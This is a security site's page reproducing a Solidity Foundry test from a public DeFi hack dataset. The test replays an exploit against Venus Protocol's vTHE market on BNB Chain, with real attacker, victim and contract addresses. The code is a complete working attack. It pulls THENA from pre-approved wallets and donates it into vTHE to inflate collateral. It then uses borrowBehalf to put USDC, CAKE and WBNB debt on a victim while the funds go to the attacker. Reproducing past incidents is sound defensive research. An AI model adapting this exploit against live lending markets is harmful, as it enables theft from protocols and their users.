Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/Venus_THE_exp.sol

Public reproduction file for dataset entry Venus THE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/Venus_THE_exp.sol226 lines
1// SPDX-License-Identifier: UNLICENSED
2// @KeyInfo - Total Lost : still held as raw CAKE + WBNB at the end of the tx
3// Attacker : https://bscscan.com/address/0x43C743e316F40d4511762EEdf6f6D484F67b2F82
4// Attack Contract : https://bscscan.com/address/0x737bc98F1D34E19539C074B8Ad1169d5d45dA619
5// Attack Tx : https://bscscan.com/tx/0x4f477e941c12bbf32a58dc12db7bb0cb4d31d41ff25b2457e6af3c15d7f5663f
6
7// Trace-driven state changing path:
8// 1. Drain THE from six EOAs that had pre-approved the future attack-contract address.
9// 2. Donate those THE directly into Venus vTHE to inflate the market's exchange rate / collateral value.
10// 3. Use Venus borrowBehalf to borrow USDC onto a victim's debt while sending the cash to the attacker.
11// 4. Mint vUSDC with the stolen USDC, enter that market, then borrow THE and donate it back into vTHE.
12// 5. Reuse the victim's now-overvalued vTHE collateral to borrow CAKE and WBNB on the victim's behalf.
14pragma solidity ^0.8.15;
16import "forge-std/Test.sol";
18interface IERC20Minimal {
19 function balanceOf(
20 address account
21 ) external view returns (uint256);
22 function transfer(
23 address to,
24 uint256 amount
25 ) external returns (bool);
26 function transferFrom(
27 address from,
28 address to,
29 uint256 amount
30 ) external returns (bool);
31 function approve(
32 address spender,
33 uint256 amount
34 ) external returns (bool);
37interface IVenusComptrollerLike {
38 function enterMarkets(
39 address[] calldata vTokens
40 ) external returns (uint256[] memory);
43interface IVenusVTokenLike {
44 function mint(
45 uint256 mintAmount
46 ) external returns (uint256);
47 function borrow(
48 uint256 borrowAmount
49 ) external returns (uint256);
50 function borrowBehalf(
51 address borrower,
52 uint256 borrowAmount
53 ) external returns (uint256);
54 function borrowBalanceStored(
55 address account
56 ) external view returns (uint256);
59interface IEtchedAttackEntry {
60 function attack() external;
64contract Venus_vTHE_BorrowBehalf_Test is Test {
65 string internal constant BSC_ARCHIVE_RPC = "https://bsc-mainnet.public.blastapi.io";
67 address internal constant ATTACKER_EOA = 0x43C743e316F40d4511762EEdf6f6D484F67b2F82;
68 address internal constant ATTACK_CONTRACT = 0x737bc98F1D34E19539C074B8Ad1169d5d45dA619;
69 address internal constant VICTIM = 0x1A35bD28EFD46CfC46c2136f878777D69ae16231;
71 uint256 internal constant ATTACK_BLOCK = 86_731_941;
72 uint256 internal constant FORK_BLOCK = ATTACK_BLOCK - 1;
74 uint256 internal constant THE_DONATION_TOTAL = 36_096_716_105_623_166_306_174_220;
75 uint256 internal constant USDC_BORROW_AMOUNT = 1_581_454_956_604_046_563_770_845;
76 uint256 internal constant THE_SELF_BORROW_AMOUNT = 4_628_903_900_747_323_154_634_598;
77 uint256 internal constant CAKE_BORROW_AMOUNT = 913_858_263_360_521_396_654_198;
78 uint256 internal constant WBNB_BORROW_AMOUNT = 1_972_530_910_582_753_621_682;
80 IERC20Minimal internal constant USDC = IERC20Minimal(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
81 IERC20Minimal internal constant THE = IERC20Minimal(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);
82 IERC20Minimal internal constant CAKE = IERC20Minimal(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);
83 IERC20Minimal internal constant WBNB = IERC20Minimal(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
85 IVenusComptrollerLike internal constant COMPTROLLER =
86 IVenusComptrollerLike(0xfD36E2c2a6789Db23113685031d7F16329158384);
87 IVenusVTokenLike internal constant VUSDC = IVenusVTokenLike(0xecA88125a5ADbe82614ffC12D0DB554E2e2867C8);
88 IVenusVTokenLike internal constant VTHE = IVenusVTokenLike(0x86e06EAfa6A1eA631Eab51DE500E3D474933739f);
89 IVenusVTokenLike internal constant VCAKE = IVenusVTokenLike(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);
90 IVenusVTokenLike internal constant VWBNB = IVenusVTokenLike(0x6bCa74586218dB34cdB402295796b79663d816e9);
92 function setUp() public {
93 vm.createSelectFork(BSC_ARCHIVE_RPC, FORK_BLOCK);
95 vm.label(ATTACKER_EOA, "attacker EOA");
96 vm.label(ATTACK_CONTRACT, "historical attack contract");
97 vm.label(VICTIM, "victim");
98 vm.label(address(COMPTROLLER), "Venus Comptroller");
99 vm.label(address(USDC), "USDC");
100 vm.label(address(THE), "THENA");
101 vm.label(address(CAKE), "CAKE");
102 vm.label(address(WBNB), "WBNB");
103 vm.label(address(VUSDC), "vUSDC");
104 vm.label(address(VTHE), "vTHE");
105 vm.label(address(VCAKE), "vCAKE");
106 vm.label(address(VWBNB), "vWBNB");
107 }
109 function testTraceDrivenPoC() public {
110 assertEq(ATTACK_CONTRACT.code.length, 0, "attack contract should not exist before the creation tx");
112 uint256 attackerCakeBefore = CAKE.balanceOf(ATTACK_CONTRACT);
113 uint256 attackerWbnbBefore = WBNB.balanceOf(ATTACK_CONTRACT);
114 uint256 vTheCashBefore = THE.balanceOf(address(VTHE));
115 uint256 victimUsdcDebtBefore = VUSDC.borrowBalanceStored(VICTIM);
116 uint256 victimCakeDebtBefore = VCAKE.borrowBalanceStored(VICTIM);
117 uint256 victimWbnbDebtBefore = VWBNB.borrowBalanceStored(VICTIM);
119 VenusVtheBorrowBehalfRuntime template = new VenusVtheBorrowBehalfRuntime();
120 vm.etch(ATTACK_CONTRACT, address(template).code);
122 vm.prank(ATTACKER_EOA);
123 IEtchedAttackEntry(ATTACK_CONTRACT).attack();
125 uint256 attackerCakeAfter = CAKE.balanceOf(ATTACK_CONTRACT);
126 uint256 attackerWbnbAfter = WBNB.balanceOf(ATTACK_CONTRACT);
128 emit log_named_decimal_uint("attack contract CAKE before", attackerCakeBefore, 18);
129 emit log_named_decimal_uint("attack contract CAKE after", attackerCakeAfter, 18);
130 emit log_named_decimal_uint("attack contract CAKE profit", attackerCakeAfter - attackerCakeBefore, 18);
131 emit log_named_decimal_uint("attack contract WBNB before", attackerWbnbBefore, 18);
132 emit log_named_decimal_uint("attack contract WBNB after", attackerWbnbAfter, 18);
133 emit log_named_decimal_uint("attack contract WBNB profit", attackerWbnbAfter - attackerWbnbBefore, 18);
135 assertEq(attackerCakeAfter, CAKE_BORROW_AMOUNT, "unexpected CAKE profit");
136 assertEq(attackerWbnbAfter, WBNB_BORROW_AMOUNT, "unexpected WBNB profit");
137 assertGe(
138 VUSDC.borrowBalanceStored(VICTIM) - victimUsdcDebtBefore,
139 USDC_BORROW_AMOUNT,
140 "victim USDC debt did not increase enough"
141 );
142 assertGe(
143 VCAKE.borrowBalanceStored(VICTIM) - victimCakeDebtBefore,
144 CAKE_BORROW_AMOUNT,
145 "victim CAKE debt did not increase enough"
146 );
147 assertGe(
148 VWBNB.borrowBalanceStored(VICTIM) - victimWbnbDebtBefore,
149 WBNB_BORROW_AMOUNT,
150 "victim WBNB debt did not increase enough"
151 );
152 assertEq(THE.balanceOf(address(VTHE)) - vTheCashBefore, THE_DONATION_TOTAL, "unexpected THE donated into vTHE");
153 }
156contract VenusVtheBorrowBehalfRuntime {
157 address internal constant VICTIM = 0x1A35bD28EFD46CfC46c2136f878777D69ae16231;
159 IERC20Minimal internal constant USDC = IERC20Minimal(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
160 IERC20Minimal internal constant THE = IERC20Minimal(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);
162 IVenusComptrollerLike internal constant COMPTROLLER =
163 IVenusComptrollerLike(0xfD36E2c2a6789Db23113685031d7F16329158384);
164 IVenusVTokenLike internal constant VUSDC = IVenusVTokenLike(0xecA88125a5ADbe82614ffC12D0DB554E2e2867C8);
165 IVenusVTokenLike internal constant VTHE = IVenusVTokenLike(0x86e06EAfa6A1eA631Eab51DE500E3D474933739f);
166 IVenusVTokenLike internal constant VCAKE = IVenusVTokenLike(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);
167 IVenusVTokenLike internal constant VWBNB = IVenusVTokenLike(0x6bCa74586218dB34cdB402295796b79663d816e9);
169 uint256 internal constant USDC_BORROW_AMOUNT = 1_581_454_956_604_046_563_770_845;
170 uint256 internal constant THE_SELF_BORROW_AMOUNT = 4_628_903_900_747_323_154_634_598;
171 uint256 internal constant CAKE_BORROW_AMOUNT = 913_858_263_360_521_396_654_198;
172 uint256 internal constant WBNB_BORROW_AMOUNT = 1_972_530_910_582_753_621_682;
174 function attack() external {
175 _donateVictimApprovedTHE();
177 require(VUSDC.borrowBehalf(VICTIM, USDC_BORROW_AMOUNT) == 0, "vUSDC borrowBehalf failed");
178 require(USDC.approve(address(VUSDC), USDC_BORROW_AMOUNT), "USDC approve failed");
179 require(VUSDC.mint(USDC_BORROW_AMOUNT) == 0, "vUSDC mint failed");
181 address[] memory markets = new address[](1);
182 markets[0] = address(VUSDC);
183 uint256[] memory enterResults = COMPTROLLER.enterMarkets(markets);
184 require(enterResults.length == 1 && enterResults[0] == 0, "enterMarkets failed");
186 require(VTHE.borrow(THE_SELF_BORROW_AMOUNT) == 0, "vTHE borrow failed");
187 require(THE.transfer(address(VTHE), THE_SELF_BORROW_AMOUNT), "THE self-donation failed");
189 require(VCAKE.borrowBehalf(VICTIM, CAKE_BORROW_AMOUNT) == 0, "vCAKE borrowBehalf failed");
190 require(VWBNB.borrowBehalf(VICTIM, WBNB_BORROW_AMOUNT) == 0, "vWBNB borrowBehalf failed");
191 }
193 function _donateVictimApprovedTHE() internal {
194 require(
195 THE.transferFrom(
196 0xf052219F767612C411C9fE4a0F334237429c58AA, address(VTHE), 13_223_597_895_594_033_973_515_042
197 ),
198 "THE donor 0 failed"
199 );
200 require(
201 THE.transferFrom(
202 0x89E3615F356B3b40aCB2f8598117EAB1aFfddDB6, address(VTHE), 9_474_403_025_851_589_299_769_076
203 ),
204 "THE donor 1 failed"
205 );
206 require(
207 THE.transferFrom(
208 0xbb3782048735091AB4C304693a69371965A4ef87, address(VTHE), 7_532_701_864_690_234_166_374_687
209 ),
210 "THE donor 2 failed"
211 );
212 require(
213 THE.transferFrom(
214 0x564A073Fa4cfa81C2c882168fA760A88b82A4591, address(VTHE), 3_915_245_257_789_590_760_859_160
215 ),
216 "THE donor 3 failed"
217 );
218 require(THE.transferFrom(VICTIM, address(VTHE), 697_951_336_338_781_512_460_490), "THE donor 4 failed");
219 require(
220 THE.transferFrom(
221 0x16f09B91604053E742eE0408909bAfA6a825bF07, address(VTHE), 1_252_816_725_358_936_593_195_765
222 ),
223 "THE donor 5 failed"
224 );
225 }

Analysis

Dataset entry

Public Foundry test for “Venus THE” (2026-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x43c743e316f40d4511762eedf6f6d484f67b2f82

  • Attack Contract

    0x737bc98f1d34e19539c074b8ad1169d5d45da619

  • Attack Tx

    0x4f477e941c12bbf32a58dc12db7bb0cb4d31d41ff25b2457e6af3c15d7f5663f

File record

Name
Venus THE
Path
src/test/2026-03/Venus_THE_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4db1cf19ecbc1794a1e32fdf92f38314789469dc
Language
Solidity
Size
227 lines
Date
2026-03-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/Venus_THE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4db1cf19ecbc1794a1e32fdf92f38314789469dc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.